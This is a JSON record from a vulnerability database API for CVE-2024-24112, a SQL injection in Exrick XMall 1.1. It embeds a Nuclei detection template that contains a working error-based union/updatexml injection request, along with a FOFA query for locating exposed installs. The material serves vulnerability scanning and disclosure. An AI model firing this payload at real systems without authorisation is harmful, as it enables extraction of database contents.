{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-24112/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-24112/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-24112/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-24112/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-24112/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-24112"},"sightings":{"href":"/api/v1/sightings/cve-2024-24112"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-24112.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-24112\n\ninfo:\n  name: Exrick XMall - SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    XMall v1.1 was discovered to contain a SQL injection vulnerability via the 'orderDir' parameter.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information via SQL injection in the orderDir parameter.\n  remediation: |\n    Update Exrick XMall to a version newer than 1.1.\n  reference:\n    - https://github.com/Exrick/xmall/issues/78\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-24112\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-24112\n    cwe-id: CWE-89\n    epss-score: 0.03348\n    epss-percentile: 0.88722\n    cpe: cpe:2.3:a:exrick:xmall:1.1:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: exrick\n    product: xmall\n    fofa-query: app=\"XMall-后台管理系统\"\n  tags: cve,cve2024,xmall,sqli,vuln,vkev\n\nvariables:\n  num: \"{{rand_int(9000000, 9999999)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,{{md5(num)}},0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{md5(num)}}\"\n          - \"MySQLSyntaxErrorException\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220311e30091148417bb4c89fe6743be0f0166309735672677c7076a09e1d4f9e510220140baf88813483eb5b92cd4a4dea1d4aad48afe2e9c6f8b2eb2cc828f7da27e3:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-24112"}